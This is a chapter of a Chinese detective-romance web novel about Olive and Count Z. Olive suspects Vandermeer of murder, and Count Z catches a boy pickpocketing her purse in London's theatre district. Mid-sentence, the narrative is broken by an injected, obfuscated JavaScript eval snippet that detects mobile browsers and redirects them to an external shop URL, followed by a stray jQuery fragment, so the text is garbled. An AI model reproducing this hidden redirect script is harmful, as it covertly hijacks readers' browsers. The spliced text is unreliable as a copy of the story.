27. 街头扒手
作品:《奥丽芙与伯爵大盗》 坎贝尔先生所说的情况和之前赫伯特太太的话对上了。
范德梅尔赌博输光了家业,又欠了债,不得已离开家乡,可是他还继续赌博,直至身无分文,只剩一副袖扣时,他突然转了运,接连不断地赢钱,又成了一个富人。但他没有回家,而是继续在外过着花天酒地的生活。在此期间,他与库珀父女结识。范德梅尔被伊迪丝的容貌、更被她的财产打动,大胆展开追求。
这时,他更不愿回家,既不想离开伊迪丝,也不愿接受母亲、妹妹的规劝。光这样就算了,可他明明有能力使母亲和妹妹过上好一点的生活,却对她们不闻不问,任由她们在家受穷、伤心。他还假惺惺对伊迪丝谈起妹妹,假装妹妹过着优裕的、阔小姐的生活。这个人坏透了!
父亲与范德梅尔见面后,肯定问了他几句。范德梅尔怕父亲给他家人写信,也怕库珀先生得知实情,不会将伊迪丝嫁给他,遂起了杀心……
奥丽芙脑子里思索着,简直没法敷衍坎贝尔先生。她想一个人静静,可是坎贝尔极其热情,还想请她去路边一家餐厅里喝茶。
将来,恐怕需要坎贝尔先生在警察前作证,可不能一下得罪了他。奥丽芙正要想几句客气话与他作别,这时,一辆轻便马车从旁经过,车上的人瞧了他们一眼,立即叫车停住,原来是Z伯爵。
他跳下车,招呼二人,高兴地对坎贝尔先生说:“这么巧,我正想着不知在哪儿能找到你呢。刚才碰到迪克逊先生,他好像有关于明天一匹马的消息,急着要告诉你。是个绝密消息,他不肯对我说,不然这会儿你就知道了。他说在赛马俱乐部等你到五点。”
坎贝尔先生的心在赛马内幕和漂亮小姐之间斗争了一会儿,有点向赛马倾斜了。可是,想起自己的承诺,他显出犹豫的神情:“我答应库珀先生送布莱克小姐回去。”
“回绿窗酒店?正好我过会儿也去那边。”Z伯爵说,“现下我想散散步,布莱克小姐肯不肯赏光陪我一段?”
奥丽芙点头答应。“别耽误了你的事,坎贝尔先生。”
“你用我叫的车吧。”Z伯爵热情地提议,“等会儿我们另找一辆。”
坎贝尔先生感谢不绝,兴高采烈地乘车离开了。Z伯爵陪在奥丽芙身边,两人拐上了河岸街,继续朝前走去。
沉默地走了几步,Z伯爵问:“我希望,我不是把你从一个讨人喜欢的同伴身边叫走吧?”
奥丽芙心不在焉地摇摇头。
隔了一两分钟,Z伯爵又问:“我听说,你会参加后天的化装舞会?”
奥丽芙差点把这事给忘了。
伦敦上流社会的一个大圈子中,又分了若干个虽有交集、但总体来说相对独立的小社交圈。其中最顶尖的要数韦克林公爵夫人的圈子,其地位差不多仅在王室的社交圈之下。韦克林公爵夫人自己牢牢把着这个社交圈的王座,周围环绕的不是公爵夫人,就是伯爵夫人,譬如,斯塔福德侯爵夫人之流,便是其中坚力量。
韦克林公爵夫人的交际圈从来没有接纳过伊迪丝,伊迪丝也并不遗憾:与那些贵夫人交往,会是个沉闷无比的苦差事。
不过,贵夫人们自己可能也感到沉闷了。不知道是谁说,交际圈需要新鲜血液。韦克林公爵夫人或许表面上不以为然,心里却有点松动。她打算办一场化装舞会,还要把它办成本社交季最辉煌、最令人难忘的舞会,为此,她借了绿窗酒店的大跳舞厅,并顺理成章地请伊迪丝和奥丽芙参加。
奥丽芙觉得化装舞会挺好玩,当时欣然接受了邀请。可现在……
后天,凶手应该已经被关入监牢,等待审判了!
关键是明天。奥丽芙一边想着下一步该如何行动,一边想,回去后,可以给公爵夫人写封信道歉,反正,公爵夫人真正想邀请的是伊迪丝,自己只是被“捎带”上,公爵夫人不会计较一个无关紧要的小客人先答应,后又临时更改主意。
对Z伯爵的问话,奥丽芙模棱两可回应了一句。
Z伯爵又说:“让我猜猜,你是不是要装扮成海岛上的公主?”
当然不是。假如还去参加的话,可以扮成哈姆雷特。可惜莎士比亚只创作了忧郁的复仇王子,却没有一位果敢的复仇公主。奥丽芙想。
她又含含糊糊摇了摇头。
Z伯爵认真向她脸上瞧瞧,关切地说:“你一定有点累了吧?你的脸色看上去是累了,要不要休息一会儿。”
“不,不太累,我很愿意再走一走。”
Z伯爵轻轻抬抬胳膊,意思是要奥丽芙挽着,绅士们总是如此表示对女士的爱护,奥丽芙犹豫了一下,上去挽住了。
她命令自己先不去想抓住真凶的事。她记得以前绞尽脑汁要想出一个问题时,父亲总是说:“先放一放,干点别的,说不定答案会自然而然冒出来,因为你的潜意识还会对它做出思考和加工。”
眼下,答案差不多已经有了,只剩下一个证据问题。奥丽芙期待自己的潜意识会告诉她一个获取证据的好办法。现在,她允许自己先想想别的。
她感到,走在Z伯爵身边,挽着他的臂膀,令她十分愉快。这并非因为她走累了或者需要保护,而是……
怎么说呢,本来,在她心中,范德梅尔和Z伯爵是最可疑的两个人,可就在刚才,证实了范德梅尔是恶魔,于是,Z伯爵一跃变成了——几乎变成了——天底下最可爱的青年。
奥丽芙悄悄向他瞥一眼,Z伯爵察觉了,扭头对她一笑。在拍卖会上,他就是这么笑的。那个冰冷的目光一定是错觉,这双蓝眼睛多么清澈、坦率。
奥丽芙记起前两天读到一篇无聊文章,某个学者通过某种毫不可信的研究,得到一个结论:北方民族,斯堪的纳维亚人中间,常常会出现过人的美貌。
当然,就眼睛所见来说,这个结论并非全无道理。当时奥丽芙想到的是南森女伯爵,但这时她想,Z伯爵其实也可以算作斯堪的纳维亚人,虽然他的气质并不冰冷,他身上带点南方男人那种活泼劲儿。
这会儿,奥丽芙甚至想不通自己以前为什么会将Z伯爵和范德梅尔作比。就算范德梅尔不是杀父凶手,就算他没有做出那些丑陋的恶行,和Z伯爵比起来,他的“英俊”似乎也显得廉价、粗俗。
那么,向库珀先生最终“交差”时,又该怎么说呢?奥丽芙蓦地想到这件事,微微一惊。
她在酒店捡到过一本客人丢下的小说,随便翻了翻。小说女主人公有点像伊迪丝,是个喜欢刺激感的女孩,因而一开始受到一个“坏”男人吸引,但在经过种种不顺心之后,她最终得到了一个既可以信任、又出乎她意料的丈夫,达到了“安全感和刺激感之间的一个微妙平衡”。现实中,哪个人可以让伊迪丝感到这种平衡?
奥丽芙面颊发烫。天哪,她读了太多乱七八糟的东西了。
“你喜欢拍卖会上哪件珠宝?”Z伯爵忽然问。
“都喜欢,都买不起。”奥丽芙回答。
说到这儿,Z伯爵去了拍卖会,却没拍下一件东西。肯定不是因为缺钱——假如他已经和伊迪丝订了婚,就可以当众拍得一件高价珠宝,作为生日礼物送给她,表达情意;而少了未婚夫这个身份,送昂贵礼物便不合适了。
不过,他关注拍卖,说不定暗中已有所准备——很多买家不愿公开身份,会请人替他出价。照这样看,Z伯爵真的打算……
奥丽芙发现自己又在乱猜,赶忙问:“你一件都不喜欢?怎么没有拍?”
“有喜欢的,但我用不着。”Z伯爵笑眯眯说,可他的眼睛变得幽深了。
走了一小段,Z伯爵带奥丽芙拐到另一条街:“来吧,我带你去看看好玩的地方。”
奥丽芙不由再次感慨,伦敦真是一个古老又新潮的繁华大都市。
她去过欧洲的一些小国,它们像蛋糕上的一粒粒樱桃,彼此挨着,这一个和那一个仿佛毫无二致。而在伦敦,有时仅仅是转过一条街,就好像突然到了一个陌生、遥远的地方。
这时,他们不知怎的走进了一条僻静的小巷子,从外观看,这一带的房屋低矮狭小,但住户似乎都是整洁体面的人家——门外没有汪着脏水和垃圾,有几家窗下吊的板条花箱中栽着漂亮的花。亦有几扇窗户半开,奥丽芙留意到,窗内没有主妇忙碌的身影,没有炖肉的味道飘出来,也没有人站在窗边向外张望。
“这是哪儿?”她好奇地问。
回答很简单:“一条巷子。”
“是什么人住在这儿?”
“等会儿你就知道了。”Z伯爵掏出怀表看了看,好像只要等到某个特殊时刻,这里的住户会突然一齐冒出来。
约莫十分钟后,穿出这条歪扭的巷子,奥丽芙惊觉自己竟来到了剧院区。她向左右一望,他们正站在尼西剧院和大歌剧院之间。
“现在你知道了吧,巷子里住的大多是在剧院做事的人,也有一些还没成名的单身演员。”Z伯爵再次掏出怀表瞧了瞧,“我要说一句,在女士当中,你走路的确是非常快的,布莱克小姐。日戏马上开演了,想不想看一场?”
他指着尼西剧院:“你不是喜欢莎士比亚吗,正好,这里天天都是他的戏。”
奥丽芙仔细观赏“今日上演”一栏的海报:上面画着一位手捧诗笺、苦苦哀求的男子和一个背过身去、姿势高傲的女子——“爱的徒劳”。
剧院廊柱下正站着三四位卖花姑娘,看见二人,她们围上来,纷纷喊着:“买束花吧。”其中一个最大胆的说:“先生,我的花会使这位小姐美翻了。”
“你说得很对。”Z伯爵笑着掏出钱,“拿好,不必找了。”他付了一个银币,却只挑了最小的一束花,在众人注目下捧到奥丽芙面前,“送给美翻了的小姐。”
奥丽芙脸红了,只得接过来。
等到姑娘们离开,她严肃地问:“这又是什么意思?”
“要是不买,她们会缠住不放的。再说,就这么一小把,你拿着也不累。”他用这种最不可能激起人虚荣心的话语作答,倒使奥丽芙有点好笑。她低头看,黄色、蓝色的小野花相间扎在一起,星星闪闪的,挺漂亮。
“进去吧?我去买票。”Z伯爵又问她。
“我不想看戏。”奥丽芙回答。
Z伯爵用受伤的语调说:“的确,爱的徒劳,这个名字就不好。”
“我什么戏都不想看,我该回去了。”
“再往那边
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17068256|192595||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
走走吧,等会儿大家都进去了,正好我们找辆空出的马车。”
奥丽芙通常是看夜戏,总是乘车直到剧院门口,白天确实很少过来这儿走动。此时正是日戏快要开场的时刻,马路上相当热闹。神气活现的马车夫驾着栗色马拉的车子,车夫的背心、车身的银徽章、马蹄上的白毛全都闪着亮光;身着礼服、头戴礼帽、握着手杖的先生迈着悠闲自得的步子在人行道上行走;装扮华丽、仪态万千的仕女们脸上挂着庄重、似有若无的微笑。
这里头不知有什么让奥丽芙动了心,于是,她又挽上Z伯爵的胳膊,饶有兴致地向街道两面瞅着。到处都是卖饮料、卖雪茄的小贩,也有门脸光鲜的小铺子见缝插针挤在剧场大楼间,不过最吸引人的还数剧院外墙上张贴出的一幅幅色彩鲜明的海报。
正当奥丽芙欣赏海报时,一个矮瘦的男孩飞快从她身边跑过。
好像有一根弹簧牵住男孩,他又弹了回来。原来是Z伯爵揪住了他的胳膊。
“还回来。”Z伯爵厉声地说。
那是一个戴着顶报童小帽,衣衫褴褛的男孩,至多不过十一二岁。“干什么,先生?”他一边用力挣扎,一边用野狼一样凶狠的眼睛瞪着Z伯爵。
“你拿了这位小姐的钱包。”
奥丽芙忙向小手提包里一摸,果然,她那只弹簧纽的绿色钱包不见了,她竟一点儿都没察觉。
那男孩见自己挣不脱,脸上露出惊恐的神情。尤其是,他看见有个沿街巡逻的制服警察朝这边走来,吓得直抖。他从裤袋掏出奥丽芙的钱包,交到Z伯爵手中。“先生,求你……”
Z伯爵把钱包递给奥丽芙,还是牢牢抓住那个男孩。奥丽芙看见男孩的手腕十分纤弱。她对自己的毫无防范有点羞愧,对这个皮包骨的小偷又厌恶又怜悯。
她打开钱包,可是Z伯爵已经从身上摸出几枚金币塞入那只黑乎乎的手中。“卖点小玩意,表演杂耍,哪怕乞讨——别干这个了,你不适合。”他这才松开手。
男孩一溜烟地不见了。
Z伯爵转头对奥丽芙说:“在这个地方走路,得当心些。”
警察跑到他们跟前:“小姐,先生,刚才那个……”他向男孩溜走的地方张望。
Z伯爵傲慢地回答:“我让他帮个小忙。你太容易大惊小怪了,警官。”他扶了扶帽沿。
两人继续向前走了一阵,谁也没开口。奥丽芙老是想着那个偷钱包的男孩,那只从某个肮脏的洞里飞出来的瘦弱的蝙蝠——讨人厌,可若细想,它绝非最龌龊恶心的生灵。
他那双又凶又可怜的眼睛深深印在奥丽芙脑中。过了一会儿,她问:“你也不愿警察抓到那孩子?”
“他们不会抓。这帮孩子,连警察也不想收留他,不过是打几棍子。——就算在监狱关上两天三夜,根本无济于事,等放他出来他还会去偷。”Z伯爵愤愤地说,不知是对警察还是对那小贼气恼。
“可怜的孩子。”奥丽芙叹了口气。
Z伯爵锐利地看了她一眼:“他偷你的东西,你不怪他?”
“他还那么小。”
“还这么小就已经做贼了。”
“可能是因为他没偷成,我没法怪他。”奥丽芙想着那条又黑又瘦的胳膊,他肯定好久没吃上一顿饱饭了。
“正是如此!”Z伯爵生气地喊叫,“人们总以为偷东西很容易,对大多数人来说,走这条路得不偿失!”
奥丽芙惊讶地看着他,不晓得他哪来这么大的火气。
“或许他们不愿偷,但有人教唆——比如,一个酒鬼父亲——要是拿不回钱,就要挨打。这么小的孩子,还能从哪儿弄钱呢。”奥丽芙说。
“是有这种情况,但也有些孩子,无父无母……”
“如果是这样,他可以去教堂,那儿每天都有人分发食物,也会收留无家可归的孩子。”奥丽芙想起“美丽世界妇女联盟”经常为教会收容的孩子捐赠食品和衣物。
“去教堂?”Z伯爵厌恶地喊叫一声,“还不如偷东西呢。要我说,做小偷的,比牧师差不到哪里去。”
“是吗?你认识的牧师全都不如小偷?”奥丽芙也生气了,感到受了伤害,因为她自己的舅舅就是位牧师。其实她只在母亲过世那年见过舅舅,而且不很喜欢,等她长大后,隐约明白,舅舅不赞成母亲嫁给父亲。不过,她相信,舅舅是位正派、受人尊敬的牧师。
Z伯爵立马道歉:“对不起,小姐,我真心真意认为,大部分牧师都非常可敬,刚才,我只是想到了极个别的几位。”他的目光又冷了起来。
停了一会儿,他用轻松的口吻说:“我想,那些偷东西的孩子大概会对教堂敬而远之,这是因为,小姐,饭没有白吃的,为了吃一口饭,便得听他们教训,都是些忏悔罪孽的陈词滥调,里头全无半点乐趣。”
“照你说,人生在世,首要之事是找乐子?”奥丽芙轻蔑道。
“这个第二重要。首要的,是做些有益的事,能令世界变得更好、更有趣的事。”Z伯爵说。
他的语气没变,让人无法猜出他是认真的还是开开玩笑,奥丽芙扭头望向他,但一辆出租马车正好驶过,Z伯爵转过头,招呼车子停下。

